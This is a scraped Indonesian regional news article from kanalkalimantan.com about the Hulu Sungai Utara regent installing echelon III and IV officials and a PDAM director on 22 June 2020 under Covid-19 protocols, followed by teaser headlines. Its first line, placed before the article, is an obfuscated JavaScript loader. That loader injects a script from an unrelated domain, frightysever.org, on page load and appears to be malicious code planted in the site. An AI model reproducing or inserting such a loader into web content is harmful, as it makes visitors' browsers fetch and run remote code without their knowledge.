(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK kembali melantik pejabat administrator eselon III dan pengawas eselon IV di lingkungan Pemerintah Kabupaten (Pemkab) HSU.
Pelantikan berlangsung di halaman kantor Bupati HSU, Senin (22/6/2020), dengan protokol kesehatan Covid-19, tanpoa undangan dan pemberian jarak pejabat yang dilantik.
Pada pelantikan ini, juga dilantik Direktur Utama Perusahaan Daerah Air Minum (PDAM) Amuntai H Fikri Anshari SSos setelah sempat berstatus Plt.
Bupati HSU meminta kepada para pejabat yang baru agar bisa menindaklanjuti amanah yang diberikan dengan meningkatkan kinerja bagi kepentingan masyarakat.
“Bisa menjadi teladan dalam menjalankan tugas, baik di kantor maupun di tengah-tengah masyarakat,” ingatnya.
Ia mengingatkan kepada para pejabat yang dilantik dan masyarakat HSU agar tetap menerapkan protokol kesehatan, dengan memakai masker, mencuci tangan pakai sabun, menjaga jarak dan menjahui kerumunan.
“Semoga wabah Covid-19 ini segera berlalu, dan kita diberikan kesehatan dan keselamatan,” pungkasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.